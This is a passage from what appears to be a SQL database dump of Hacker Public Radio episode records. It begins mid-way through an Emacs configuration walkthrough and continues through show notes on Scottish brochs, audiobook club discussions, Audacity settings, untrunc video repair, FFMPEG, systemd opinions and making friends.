#&#39;consult-register-window)\n\n ;; Use Consult to select xref locations with preview\n (setq xref-show-xrefs-function #&#39;consult-xref\n xref-show-definitions-function #&#39;consult-xref)\n\n ;; Configure other variables and modes in the :config section,\n ;; after lazily loading the package.\n :config\n\n ;; Optionally configure preview. The default value\n ;; is &#39;any, such that any key triggers the preview.\n ;; (setq consult-preview-key &#39;any)\n ;; (setq consult-preview-key &quot;M-.&quot;)\n ;; (setq consult-preview-key &#39;(&quot;S-&lt;down&gt;&quot; &quot;S-&lt;up&gt;&quot;))\n ;; For some commands and buffer sources it is useful to configure the\n ;; :preview-key on a per-command basis using the `consult-customize&#39; macro.\n (consult-customize\n consult-theme :preview-key &#39;(:debounce 0.2 any)\n consult-ripgrep consult-git-grep consult-grep\n consult-bookmark consult-recent-file consult-xref\n consult--source-bookmark consult--source-file-register\n consult--source-recent-file consult--source-project-recent-file\n ;; :preview-key &quot;M-.&quot;\n :preview-key &#39;(:debounce 0.4 any))\n\n ;; Optionally configure the narrowing key.\n ;; Both &lt; and C-+ work reasonably well.\n (setq consult-narrow-key &quot;&lt;&quot;) ;; &quot;C-+&quot;\n\n ;; Optionally make narrowing help available in the minibuffer.\n ;; You may want to use `embark-prefix-help-command&#39; or which-key instead.\n ;; (define-key consult-narrow-map (vconcat consult-narrow-key &quot;?&quot;) #&#39;consult-narrow-help)\n\n ;; By default `consult-project-function&#39; uses `project-root&#39; from project.el.\n ;; Optionally configure a different project root function.\n ;;;; 1. project.el (the default)\n ;; (setq consult-project-function #&#39;consult--default-project--function)\n ;;;; 2. vc.el (vc-root-dir)\n ;; (setq consult-project-function (lambda (_) (vc-root-dir)))\n ;;;; 3. locate-dominating-file\n ;; (setq consult-project-function (lambda (_) (locate-dominating-file &quot;.&quot; &quot;.git&quot;)))\n ;;;; 4. projectile.el (projectile-project-root)\n ;; (autoload &#39;projectile-project-root &quot;projectile&quot;)\n ;; (setq consult-project-function (lambda (_) (projectile-project-root)))\n ;;;; 5. No project support\n ;; (setq consult-project-function nil)\n)\n\n;; workspaces\n(use-package perspective\n :bind (&quot;C-x C-b&quot; . persp-list-buffers) ; or use a nicer switcher, see below\n :custom (persp-mode-prefix-key (kbd &quot;C-c M-p&quot;)) ; pick your own prefix key here\n :init (persp-mode))\n\n;; theme\n(use-package doom-themes\n :config\n ;; Global settings (defaults)\n (setq doom-themes-enable-bold t ; if nil, bold is universally disabled\n doom-themes-enable-italic t) ; if nil, italics is universally disabled\n (load-theme &#39;doom-one t)\n\n ;; Corrects (and improves) org-mode&#39;s native fontification.\n (doom-themes-org-config))\n\n;; modeline\n(use-package powerline\n :straight (:host github :repo &quot;milkypostman/powerline&quot;)\n :config (powerline-default-theme))\n\n;; modeline theme\n(use-package airline-themes\n :config (load-theme &#39;airline-onedark t))\n\n;; makes temporary or non-editing buffers darker\n(use-package solaire-mode\n :config (solaire-global-mode +1))\n\n;; snippets\n(use-package yasnippet\n :diminish yas-minor-mode\n :straight (:host github :repo &quot;joaotavora/yasnippet&quot;)\n :config (yas-global-mode 1))\n\n;; projects\n(use-package projectile\n :bind-keymap\n (&quot;C-c p&quot; . projectile-command-map))\n\n(use-package rg)\n\n;;;;;;;;;;;\n;;; Org ;;;\n;;;;;;;;;;;\n\n(use-package org\n :commands (org-mode)\n :init (setq org-directory &quot;~/org/&quot;\n org-noter-notes-search-path &#39;(&quot;~/org/roam/&quot;)\n org-cite-global-bibliography &#39;(&quot;~/org/biblio.bib&quot;)\n org-capture-templates\n &#39;((&quot;n&quot; &quot;Note&quot; entry\n (file &quot;~/org/todo.org&quot;)\n &quot;* %^{prompt}\\n%U\\n\\n%?&quot;)\n (&quot;r&quot; &quot;Reading list note&quot; entry\n (file &quot;~/org/reading.org&quot;)\n &quot;* %^{prompt}\\n%U\\n\\n%x&quot;\n :immediate-finish :jump-to-captured)))\n :config (require &#39;org-crypt)\n (org-crypt-use-before-save-magic)\n (require &#39;org-id)\n (defun tgdnt/advice-org-ctrl-c-ctrl-c (&amp;rest args)\n &quot;Run `org-todo&#39; if point is on a visible heading.&quot;\n (let ((do-not-run-orig-fn (org-at-heading-p t)))\n (when do-not-run-orig-fn\n (call-interactively #&#39;org-todo))\n do-not-run-orig-fn))\n (advice-add &#39;org-ctrl-c-ctrl-c :before-until #&#39;tgdnt/advice-org-ctrl-c-ctrl-c)\n :hook (org-mode . auto-fill-mode)\n :bind (&quot;C-x h&quot; . visible-mode)\n (&quot;C-c n a&quot; . org-agenda)\n :custom (org-tags-column 2)\n (org-tags-exclude-from-inheritance &#39;(&quot;crypt&quot;))\n (org-crypt-key &quot;90A77BEA68A05915&quot;)\n (org-crypt-disable-auto-save t)\n (org-adapt-indentation nil)\n (org-clock-ask-before-exiting nil)\n (org-startup-folded t)\n (org-startup-indented t)\n (org-priority-start-cycle-with-default nil)\n (org-id-link-to-org-use-id &#39;use-existing)\n (org-agenda-files (append (directory-files &quot;~/org/&quot; t &quot;.+\\.org$&quot;)))\n (org-agenda-custom-commands\n &#39;((&quot;A&quot; &quot;Agenda and Unscheduled TODOs&quot;\n ((agenda &quot;&quot;)\n (todo &quot;TODO&quot; ((org-agenda-overriding-header &quot;Unscheduled actions:&quot;)))\n (todo &quot;PROJ&quot; ((org-agenda-overriding-header &quot;Projects:&quot;)))\n (todo &quot;OPEN&quot; ((org-agenda-overriding-header &quot;Open items:&quot;)))\n (todo &quot;HOLD&quot; ((org-agenda-overriding-header &quot;On Hold:&quot;))))\n ((org-agenda-dim-blocked-tasks &#39;invisible))\n nil)))\n (org-agenda-todo-ignore-with-date t)\n (org-agenda-start-day nil)\n (org-agenda-start-on-weekday nil)\n (org-agenda-span 1)\n (org-agenda-skip-deadline-prewarning-if-scheduled t)\n (org-agenda-prefix-format &#39;((agenda . &quot;%?-12t% s&quot;)\n (todo . &quot; &quot;)\n (tags . &quot; &quot;)\n (search . &quot; &quot;)))\n (org-agenda-deadline-leaders &#39;(&quot;!&quot; &quot;%1d&quot; &quot;&#x203C;&quot;))\n (org-agenda-scheduled-leaders &#39;(&quot;#&quot; &quot;%1d&quot;))\n (org-enforce-todo-dependencies t)\n (org-refile-targets &#39;((nil :maxlevel . 2)\n (org-agenda-files :maxlevel . 2)))\n (org-attach-id-dir &quot;~/org/attachments&quot;)\n (org-crypt-disable-auto-save t)\n (org-crypt-tag-matcher &quot;crypt&quot;)\n (org-archive-location &quot;~/org/archive/archive.org::&quot;)\n (org-deadline-warning-days 5)\n (org-archive-save-context-info &#39;(time file olpath ltags itags category))\n (org-id-link-to-org-use-id &#39;use-existing)\n (org-todo-keywords &#39;((type &quot;TODO(t)&quot; ;; A clearly defined action\n &quot;OPEN(o)&quot; ;; An open item, must be clarified\n &quot;HOLD(h)&quot; ;; An open item, must be clarified\n &quot;PROJ(p)&quot; ;; A project, with actions within it\n &quot;|&quot; &quot;DONE(d)&quot; &quot;QUIT(q)&quot;))))\n\n;; make visible-mode automatic when entering insert mode\n(use-package org-appear\n :init (setq org-hide-emphasis-markers t)\n :hook (org-mode . org-appear-mode)\n :custom (org-appear-autolinks t))\n\n(use-package evil-org\n :after org\n :hook (org-mode . (lambda () evil-org-mode))\n :config\n (require &#39;evil-org-agenda)\n (evil-org-agenda-set-keys))\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; more basic settings ;;;\n;;;;;;;;;;;;;;;;;;;;;;;;;;;\n(setq backup-directory-alist\n `((&quot;.&quot; . ,(concat user-emacs-directory &quot;backups&quot;)))\n backup-by-copying t\n delete-old-versions t\n kept-new-versions 6\n kept-old-versions 2\n version-control t)\n\n(setq-default fill-column 64\n indent-tabs-mode nil\n display-time-day-and-date t\n display-time-24hr-format t)\n\n(setq custom-file (expand-file-name &quot;custom.el&quot; user-emacs-directory))\n(load custom-file t)\n\n(when window-system\n (scroll-bar-mode -1)\n (menu-bar-mode -1)\n (tool-bar-mode -1))\n\n;; (toggle-frame-fullscreen)\n(display-time)\n(display-battery-mode)\n(server-start)\n(setq inhibit-startup-screen t)\n\n;; If on a graphical env, load init-base, if not on windows, load init-extra\n(when window-system\n (load-file (expand-file-name &quot;init-base.el&quot; user-emacs-directory))\n (require &#39;init-base)\n (unless (string= (x-server-vendor) &quot;Microsoft Corp.&quot;)\n (load-file (expand-file-name &quot;init-extra.el&quot; user-emacs-directory))\n (require &#39;init-extra)))\n\n(provide &#39;init)\n;;; init.el ends here</code></pre>\n<p>In part 2, coming soon, we\'ll go through init-base.el and\ninit-extra.el.</p>\n',399,0,0,'CC-BY-SA','emacs,elisp',0,0,1),
(3896,'2023-07-10','The Brochs of Glenelg',782,'A verbal tour in situ of one of the two brochs of Glenelg','In this episode I visit one of the best preserved <a href=\"https://en.wikipedia.org/wiki/Broch\">brochs</a> on the Scottish mainland called Dun Telve. It is one of two that are a few miles outside the village of Glenelg which is rare itself in that its name is a palindrome.\n\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3896/hpr3896/20230701_200226_1000px.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3896/hpr3896/20230701_200226_1000px_thumbnail.jpg\" title=\"The broch Dun Telve from a distance.\" alt=\"The broch Dun Telve from a distance.\"></a></p>\n\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3896/hpr3896/20230701_201912_1000px.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3896/hpr3896/20230701_201912_1000px_thumbnail.jpg\" title=\"The broch Dun Telve from a distance.\" alt=\"The broch Dun Telve from a distance.\"></a></p>\n',268,101,0,'CC-BY-SA','history,scotland,prehistoric',0,0,1),
(3895,'2023-07-07','What\'s in my backpack',514,'Stache walks through the contents of his work backpack','<p>I have many things in my work backpack, to include a Raspberry Pico,\nmultiple USB drives, USB cables, two laptops, my glasses and a\nsunglasses case attached to the outside.</p>\n<p>It is a 5.11 RUSH MOAB 10 Sling Pack 18L, not because I want to be\n\"tacticool\" but because I like their products, and that they support\nveterans like myself.</p>\n',408,23,0,'CC-BY-SA','backpack contents, toolkit',0,0,1),
(3897,'2023-07-11','HPR AudioBook Club 22 - Murder at Avedon Hill',6119,'In this episode the HPR Audiobook Club discusses \"Murder at Avedon Hill\" by P.G. Holyfield','<h2\nid=\"in-this-episode-the-hpr-audiobook-club-discusses-the-audiobook-murder-at-avedon-hill-by-pg-holyfield\">In\nthis episode the HPR Audiobook Club discusses the audiobook <a\nhref=\"https://archive.org/details/podcast_murder-at-avedon-hill_280056756\">Murder\nat Avedon Hill</a> by P.G. Holyfield</h2>\n<hr />\n<h2 id=\"non-spoiler-thoughts\">Non-Spoiler Thoughts</h2>\n<hr />\n<ul>\n<li>Great reading, great audio quality, fun setting and setup. It had\nthe feel of a role playing adventure at the beginning, but was well\nfleshed out by the middle. It would have been slightly better if all of\nthe guest voices had had a pronunciation guide for the names.</li>\n</ul>\n<h2 id=\"beverage-reviews\">Beverage Reviews</h2>\n<hr />\n<ul>\n<li><strong>Thaj:</strong> A delicious regular chocolate malt from the\nlocal ice cream shop \"The Comfy Cow\"</li>\n<li><strong>x1101:</strong> Barton\'s 1795</li>\n<li><strong>Pokey</strong> Leinenkugel\'s: I have a fall variety pack,\nbut this is not the fall. I\'m not enjoying this beer as much as I\nexpected. It\'s good, and I can taste the high quality of the\ningredients, but I think it\'s just the wrong season for this.</li>\n</ul>\n<h2 id=\"things-we-talked-about\">Things We Talked About</h2>\n<hr />\n<ul>\n<li><p><a\nhref=\"https://boardgamegeek.com/boardgame/822/carcassonne\">Carcassonne</a></p></li>\n<li><p><a href=\"https://scribl.com/books/P8EE5/shadowmagic\">Shadow\nMagic</a></p></li>\n</ul>\n<h2 id=\"our-next-audiobook\">Our Next Audiobook</h2>\n<hr />\n<p><a\nhref=\"https://librivox.org/a-princess-of-mars-by-edgar-rice-burroughs-2/\">A\nPrincess of Mars</a> by Edgar Rice Burroughs</p>\n<h2 id=\"the-next-audiobook-club-recording\">The Next Audiobook Club\nRecording</h2>\n<hr />\n<p>Right now we are working through a backlog of older episodes that\nhave already been recorded. Once that ends we fully anticipate recording\nnew episodes with listener participation.</p>\n<h2 id=\"feedback\">Feedback</h2>\n<hr />\n<p>Thank you very much for listening to this episode of the HPR\nAudioBookClub. We had a great time recording this show, and we hope you\nenjoyed it as well. We also hope you\'ll consider joining us next time we\nrecord a new episode. Please leave a few words in the episode\'s comment\nsection.</p>\n<p>As always; remember to visit the HPR contribution page HPR could\nreally use your help right now.</p>\n<p>Sincerely, The HPR Audiobook Club</p>\n<p>P.S. Some people really like finding mistakes. For their enjoyment,\nwe always include a few.</p>\n<h2 id=\"our-audio\">Our Audio</h2>\n<hr />\n<p>This episode was processed using <a\nhref=\"https://www.audacityteam.org/\">Audacity</a>. We\'ve been making\nsmall adjustments to our audio mix each month in order to get the best\npossible sound. Its been especially challenging getting all of our\nvoices relatively level, because everyone has their own unique setup.\nMumble is great for bringing us all together, and for recording, but\nit\'s not good at making everyone\'s voice the same volume. We\'re pretty\nhappy with the way this month\'s show turned out, so we\'d like to share\nour editing process and settings with you and our future selves (who, of\ncourse, will have forgotten all this by then).</p>\n<p>We use the \"Truncate Silence\" effect with it\'s default settings to\nminimize the silence between people speaking. When used with it\'s\ndefault (or at least reasonable) settings, Truncate Silence is extremely\neffective and satisfying. It makes everyone sound smarter, it makes the\nfile shorter without destroying actual content, and it makes a\nconversations sound as easy and fluid during playback as it was while it\nwas recorded. It can be even more effective if you can train yourself to\nremain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass\nthe file through Truncate Silence ONCE. If you pass it through a second\ntime, or if you set it too aggressively your audio may sound sped up and\nchoppy.</p>\n<p>Next we use the \"Compressor\" effect with the following settings:</p>\n<pre><code>Threshold: -30db\n\nNoise Floor: -50db\n\nRatio: 3:1\n\nAttack Time: 0.2sec\n\nDecay Time: 1.0 sec`</code></pre>\n<p>\"Make-up Gain for 0db after compressing\" and \"compress based on\npeaks\" were both left un-checked.</p>\n<p>After compressing the audio we cut any pre-show and post-show chatter\nfrom the file and save them in a separate file for possible use as\nouttakes after the closing music.</p>\n<p>We adjust the Gain so that the VU meter in Audacity hovers around\n-12db while people are speaking, and we try to keep the peaks under\n-6db, and we adjust the Gain on each of the new tracks so that all\nvolumes are similar, and more importantly comfortable. Once this is done\nwe can \"Mix and Render\" all of our tracks into a single track for export\nto the .FLAC file which is uploaded to the HPR server.</p>\n<p>At this point we listen back to the whole file and we work on the\nshownotes. This is when we can cut out anything that needs to be cut,\nand we can also make sure that we put any links in the shownotes that\nwere talked about during the recording of the show. We finish the\nshownotes before exporting the .aup file to .FLAC so that we can paste a\ncopy of the shownotes into the audio file\'s metadata.</p>\n<p>At this point we add new, empty audio tracks into which we paste the\nintro, outro and possibly outtakes, and we rename each track\naccordingly.</p>\n<p>Remember to save often when using Audacity. We like to save after\neach of these steps. Audacity has a reputation for being \"crashy\" but if\nyou remember save after every major transform, you will wonder how it\never got that reputation.</p>\n',157,53,1,'CC-BY-SA','Audiobook club, audiobook, fantasy, fiction',0,0,1),
(3907,'2023-07-25','My introduction show',1153,'About me and computers','<p>The show notes</p>\n<ul>\n<li>Episode 3496: How I record HPR Episodes <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3496\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=3496</a></li>\n<li>Source: <a href=\"https://gitlab.com/norrist/solocast\"\nclass=\"uri\">https://gitlab.com/norrist/solocast</a></li>\n<li>XFree86 <a href=\"http://en.wikipedia.org/wiki/XFree86\"\nclass=\"uri\">http://en.wikipedia.org/wiki/XFree86</a></li>\n<li>Quickemu, Quickly create and run optimised Windows, macOS and Linux\ndesktop virtual machines. <a\nhref=\"http://github.com/quickemu-project/quickemu\"\nclass=\"uri\">http://github.com/quickemu-project/quickemu</a></li>\n</ul>\n',421,0,0,'CC-BY-SA','introduction,solocast',0,0,1),
(3899,'2023-07-13','Repair corrupt video files for free with untruc',320,'This is how I fixed corrupt video files from my dash cam after an accident','<p>My original blog post on this topic: <a\nhref=\"https://pquirk.com/posts/corruptvideo/\"\nclass=\"uri\">https://pquirk.com/posts/corruptvideo/</a></p>\n<ul>\n<li>Untruc at Github: <a href=\"https://github.com/anthwlock/untrunc\"\nclass=\"uri\">https://github.com/anthwlock/untrunc</a></li>\n<li>Windows version: <a\nhref=\"https://github.com/anthwlock/untrunc/releases\"\nclass=\"uri\">https://github.com/anthwlock/untrunc/releases</a></li>\n<li>Arch linux version: <a\nhref=\"https://aur.archlinux.org/packages/untrunc-git\"\nclass=\"uri\">https://aur.archlinux.org/packages/untrunc-git</a></li>\n</ul>\n<p>Make your donations to:<br />\n<a href=\"https://www.paypal.com/paypalme/anthwlock\"\nclass=\"uri\">https://www.paypal.com/paypalme/anthwlock</a><br />\n<a href=\"https://vcg.isti.cnr.it/~ponchio/untrunc.php\"\nclass=\"uri\">https://vcg.isti.cnr.it/~ponchio/untrunc.php</a></p>\n',383,0,0,'CC-BY-NC-SA','video,corrupt,fix,file,linux',0,0,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (3921,'2023-08-14','HPR AudioBook Club 23 - John Carter of Mars (Books 1-3)',6516,'In this episode the HPR Audiobook Club discusses the first three books of John Carter of Mars','<h2\nid=\"in-this-episode-the-hpr-audiobook-club-discusses-the-audiobooks-a-princess-of-mars-the-gods-of-mars-and-the-warlord-of-mars-by-edgar-rice-burroughs\">In\nthis episode the HPR Audiobook Club discusses the audiobooks <a\nhref=\"https://librivox.org/a-princess-of-mars-by-edgar-rice-burroughs-2/\">A\nPrincess of Mars</a>, <a\nhref=\"https://librivox.org/the-gods-of-mars-version-3-by-edgar-rice-burroughs/\">The\nGods of Mars</a>, and <a\nhref=\"https://librivox.org/the-warlord-of-mars-version-3-by-edgar-rice-burroughs/\">The\nWarlord of Mars</a> by Edgar Rice Burroughs</h2>\n<hr />\n<h2 id=\"non-spoiler-thoughts\">Non-Spoiler Thoughts</h2>\n<hr />\n<ul>\n<li>Burroughs is kind of verbose, which is symbolic of the time period\nin which it was written.</li>\n</ul>\n<h2 id=\"beverage-reviews\">Beverage Reviews</h2>\n<hr />\n<ul>\n<li><strong>Thaj:</strong> Tempting fate with a tall glass of the highly\ntoxic, <a href=\"http://www.dhmo.org/facts.html\">Dihydrogen\nMonoxide</a></li>\n<li><strong>x1101:</strong> <a\nhref=\"https://www.beeradvocate.com/beer/profile/139/149716/\">Shipyard\nLittle Horror of Hops</a> Its a very amber IPA</li>\n<li><strong>Pokey:</strong> <a\nhref=\"http://www.yellowtailwine.com/chardonnay/\">Yellow Tail\nChardonay</a> Its definitely a chardonay in flavor. You can taste the\ncost effectiveness up front, but it mellows out on the finish, and is\npretty okay for the price on average.</li>\n<li><strong>FiftyOneFifty:</strong> <a\nhref=\"https://www.boulevard.com/beer/our-beers/\">Funky Pumpkin spiced\npumpkin ale</a></li>\n<li><strong>Mark:</strong> <a\nhref=\"https://lagunitas.com/beer/ipa/\">Lagunitas IPA</a></li>\n</ul>\n<h2 id=\"things-we-talked-about\">Things We Talked About</h2>\n<hr />\n<ul>\n<li><p><a href=\"https://chatsecure.org/\">Chat Secure</a> secure XMPP,\nThink of the children!!!</p></li>\n<li><p>Technology on Barsoom</p></li>\n<li><p>Deus Ex Machina much???</p></li>\n<li><p>Names in fantasy books</p></li>\n</ul>\n<h2 id=\"our-next-audiobook\">Our Next Audiobook</h2>\n<hr />\n<p><a href=\"https://scribl.com/books/P34C6/see-you-at-the-morgue\">See\nYou At The Morgue</a> by Lawrence Blochman</p>\n<h2 id=\"the-next-audiobook-club-recording\">The Next Audiobook Club\nRecording</h2>\n<hr />\n<p>Right now we are working through a backlog of older episode that have\nalready been recorded. Once that ends we fully anticipate recording new\nepisodes with listener participation.</p>\n<h2 id=\"feedback\">Feedback</h2>\n<hr />\n<p>Thank you very much for listening to this episode of the HPR\nAudioBookClub. We had a great time recording this show, and we hope you\nenjoyed it as well. We also hope you\'ll consider joining us next time we\nrecord a new episode. Please leave a few words in the episode\'s comment\nsection.</p>\n<p>As always; remember to visit the HPR contribution page HPR could\nreally use your help right now.</p>\n<p>Sincerely, The HPR Audiobook Club</p>\n<p>P.S. Some people really like finding mistakes. For their enjoyment,\nwe always include a few.</p>\n<h2 id=\"our-audio\">Our Audio</h2>\n<hr />\n<p>This episode was processed using <a\nhref=\"https://www.audacityteam.org/\">Audacity</a>. We\'ve been making\nsmall adjustments to our audio mix each month in order to get the best\npossible sound. Its been especially challenging getting all of our\nvoices relatively level, because everyone has their own unique setup.\nMumble is great for bringing us all together, and for recording, but\nit\'s not good at making everyone\'s voice the same volume. We\'re pretty\nhappy with the way this month\'s show turned out, so we\'d like to share\nour editing process and settings with you and our future selves (who, of\ncourse, will have forgotten all this by then).</p>\n<p>We use the \"Truncate Silence\" effect with it\'s default settings to\nminimize the silence between people speaking. When used with it\'s\ndefault (or at least reasonable) settings, Truncate Silence is extremely\neffective and satisfying. It makes everyone sound smarter, it makes the\nfile shorter without destroying actual content, and it makes a\nconversations sound as easy and fluid during playback as it was while it\nwas recorded. It can be even more effective if you can train yourself to\nremain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass\nthe file through Truncate Silence ONCE. If you pass it through a second\ntime, or if you set it too aggressively your audio may sound sped up and\nchoppy.</p>\n<p>Next we use the \"Compressor\" effect with the following settings:</p>\n<pre><code>Threshold: -30db\n\nNoise Floor: -50db\n\nRatio: 3:1\n\nAttack Time: 0.2sec\n\nDecay Time: 1.0 sec</code></pre>\n<p>\"Make-up Gain for 0db after compressing\" and \"compress based on\npeaks\" were both left un-checked.</p>\n<p>After compressing the audio we cut any pre-show and post-show chatter\nfrom the file and save them in a separate file for possible use as\nouttakes after the closing music.</p>\n<p>We adjust the Gain so that the VU meter in Audacity hovers around\n-12db while people are speaking, and we try to keep the peaks under\n-6db, and we adjust the Gain on each of the new tracks so that all\nvolumes are similar, and more importantly comfortable. Once this is done\nwe can \"Mix and Render\" all of our tracks into a single track for export\nto the .FLAC file which is uploaded to the HPR server.</p>\n<p>At this point we listen back to the whole file and we work on the\nshownotes. This is when we can cut out anything that needs to be cut,\nand we can also make sure that we put any links in the shownotes that\nwere talked about during the recording of the show. We finish the\nshownotes before exporting the .aup file to .FLAC so that we can paste a\ncopy of the shownotes into the audio file\'s metadata.</p>\n<p>At this point we add new, empty audio tracks into which we paste the\nintro, outro and possibly outtakes, and we rename each track\naccordingly.</p>\n<p>Remember to save often when using Audacity. We like to save after\neach of these steps. Audacity has a reputation for being \"crashy\" but if\nyou remember save after every major transform, you will wonder how it\never got that reputation.</p>\n<h2 id=\"attribution\">Attribution</h2>\n<hr />\n<p><a\nhref=\"https://freesound.org/people/ZeSoundResearchInc./sounds/117512/\">Record\nScratch</a> Creative Commons 0</p>\n',157,0,1,'CC-BY-SA','mars, audiobook club, fiction, scifi, audiobook',0,0,1),
(4151,'2024-07-01','HPR Community News for June 2024',0,'HPR Volunteers talk about shows released and comments posted in June 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(4176,'2024-08-05','HPR Community News for July 2024',0,'HPR Volunteers talk about shows released and comments posted in July 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3902,'2023-07-18','Introduction to a new series on FFMPEG',474,'In this episode, I introduce FFMPEG, media containers, and codecs','<h2>Links</h2>\n\n<ul>\n<li><a href=\"https://ffmpeg.org\">FFMPEG Website</a></li>\n<li><a href=\"https://helpx.adobe.com/x-productkb/multi/formats-containers.html\">Adobe - containers vs encoders</a></li>\n<li>Containers: <a href=\"https://en.wikipedia.org/wiki/Comparison_of_video_container_formats\">Wikipedia</a></li>\n<li>Encoders/codecs\n\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Audio_coding_format\">Audio</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Video_coding_format\">Video</a></li>\n</ul>\n</li>\n<li><a href=\"https://s3-us-west-2.amazonaws.com/courses-images/wp-content/uploads/sites/4052/2019/04/08194049/CommunicationProcessModel1.jpg\">Encoding vs Decoding</a> ** attribution: <a href=\"https://courses.lumenlearning.com/wm-organizationalbehavior/chapter/the-process-of-communication/\">Learning Freedom Group</a></li>\n</ul>\n',300,0,0,'CC-BY-SA','ffmpeg,video streaming,audio streaming',0,0,1),
(3903,'2023-07-19','Why I don\'t love systemd (yet)',396,'Klaatu reads a script by Deepgeek about systemd','<p>I\'ve been meaning to put down my thoughts about SystemD for the HPR\ncommunity for some while, so here goes.</p>\n<p>I want to say that I am not a SystemD hater. When SystemD was a hot\ntopic of debate, many became irrational over it, but I want to start by\nsaying that I don\'t think it\'s a bad technology. I think it is a rather\ngood technology. I just don\'t want it on my personal computer. So I\nwould like to run things down in this order: what is it (as in, what is\nit really,) what makes it a good technology, why I don\'t want it now\n(but might later,) and a few tips for you if you decide that you don\'t\nwant it currently.</p>\n<p>SystemD Is not an init system. SystemD includes an init system.\nSystemD Init was faster than SysVInit, but SystemD Init isn\'t the\nfastest init system, and SysVInit now has a parallelization helper, at\nleast on Debian.</p>\n<p>So, if SystemD Init is not SystemD, than what is SystemD? To\nunderstand this we must first understand something about Linux. Linux\noperates under a model where there are root processes, and there are\nuser processes. These two kinds of processes are usually called\n\"layers.\" SystemD is actually a third layer, that can be called a system\nlayer. So when SystemD is added to a Linux system, that changes the\nsystem so that there are three layers, a root layer, a user layer, and a\nsystem layer. As such, you now ask SystemD to set how the system runs.\nThis is why SystemD includes things like an init system, because if you\nwant to change what the system is running, you ask SystemD to change it.\nSystemD then messages an appropriate system to implement the change,\nlike messaging its init system to bring up or bring down a system\ndaemon. Once you play out this in your head a bit, you really realize\nthat SystemD acts more like a message passing system in this regard.</p>\n<p>So why do I say SystemD is a good technology? Because this can\nstandardize system control. Without SystemD a fleet of computers becomes\nlike individual fingerprints or unique snowflakes. If you manage many\ncomputers, as many professional IT people do, you want them to all run\nthe same, all have the same profiles and general configurations. So if\nyou have a bunch of computers you are running, you can run a lot more if\nthey are all run the same way. If your job requires you to run 10,000\nwebservers, you want them to run identically because it is impossible to\nkeep an understanding of 10,000 unique configurations in a human\nhead.</p>\n<p>SystemD really shines in its support of virtualization as well. So\nto speak of servers, I used to run an email server for a few friends.\nEach of us had a userid and number as unix users. The mapping of unix\nuserids and postfix userids can get confusing when it gets big. Thanks\nto SystemD\'s virtualization work, you can actually put a service like\nemail into a namespace situation so that it has only the users root and\nthe daemon user id (like \"postfix\"), so SystemD greatly enhances\nsecurity for server installations. This might help explain its\ndominance in linux distributions that have been traditionally\nserver-centric, such as debian and redhat.</p>\n<p>So why don\'t I don\'t want it? Well, I\'ve been doing a lot of talking\nabout professional computer work and corporate work environments, but I\nuse a \"Personal Computer\" as a hobby. I\'ve been out-of-industry for\ndecades now. And when I say \"Personal Computer\" I\'m not talking a\nhardware specification, rather I\'m talking about \"This is my personal\ncomputer where I do things my way, as opposed to my work computer where\nI do things my companies way\". Dear listener, please remember that I did\nthe first community show contribution to HPR, and my topic was about\npersonalization. For me, a hobbyist interested in operating system\nexperimentation, I don\'t want a system layer, I want a traditional\nunix-like system that operates on a two-layer model and does things my\nway, nobody else\'s way.</p>\n<p>So, what advice can I give to those who don\'t want SystemD now? Well,\nrecently I\'ve left Debian. Debian, you see, supports init system\ndiversity, but as you now know dear listener, that is different than\nbeing without SystemD. You may have heard that SystemD is\nlinux-specific, that is to say that it runs only on linux, not anything\nlike a BSD system or a Windows system. But you may be curious to know\nthat it is also Gnu-libC specific. Which means that the C compiler must\nuse GNU\'s libC standard library. Thus, if you have a system built around\nthe Musl C standard library like Alpine or Void, or a system like\nAndroid that runs on the Bionic C Standard library, you wont have a\nSystemD system. I\'m personally learning Void as its package manager\nsupports both binary and a ports collection much like the BSD\'s. But\nthat is what I\'m doing on my personal computer, I leave you in the\nfreedom to do things your way on your personal computer!</p>\n\n',73,99,0,'CC-BY-SA','systemd,linux',0,0,1),
(3904,'2023-07-20','How to make friends',2861,'This topic is being actively researched. Not for production use.','<p>Show notes</p>\n<ul>\n<li>\n<p>No clear mark of when friendship starts</p>\n</li>\n<li>\n<p>often feels \"right\" when mutual</p>\n</li>\n<li>\n<p>to some people friendship is a persistent state. once you have it, it&#39;s forever unless explicitly dissolved.</p>\n</li>\n<li>\n<p>for other people, it&#39;s something requiring maintenance. arguable this suggests that there are degrees of friendship, based on when you last spoke to one another.</p>\n</li>\n<li>\n<p>degrees of friendship also suggests progression. friend → close friend → best friend.</p>\n</li>\n</ul>\n<h2 id=\"_how_to_make_a_friend\">how to make a friend</h2>\n<p>friendship requires communication.</p>\n<ul>\n<li>\n<p>start by communicating in some way that makes the other person feel not unpleasant</p>\n</li>\n<li>\n<p>you&#39;re not supposed to target a friend. this can be a frustrating rule, because if you&#39;re trying to make a friend, you have to target somebody, but the general consensus is that you&#39;re not supposed to \"try too hard\". target lots of people in the hopes of stumbling across somebody to befriend.</p>\n</li>\n<li>\n<p>complimenting something they have done, even if it&#39;s something simple like wearing a cool shirt, is a very easy start</p>\n</li>\n<li>\n<p>finding ground common allows for repeated communication</p>\n</li>\n<li>\n<p>repetition of this is what builds friendship. this is why friendships often develop at work, but can dissolve quickly after a job change.</p>\n</li>\n<li>\n<p>the situation matters. chatting with someone who&#39;s being paid to interact with you, like somebody working at a store, doesn&#39;t count because in context they more or less cannot choose to stop communicating with you until you leave the store. chatting with someone who has anything to gain by chatting with you doesn&#39;t count (like an intern at work).</p>\n</li>\n<li>\n<p>to speed up a developing friendship, you can invite the person to interact with you on something with a clearly defined goal. You like coding? I like coding! Would you care to collaborate for 4 hours on a script that would help me find my Raspberry Pi on my network?</p>\n</li>\n<li>\n<p>during the activity, continue to communicate. this can be difficult because you&#39;re doing an activity that you both claim to 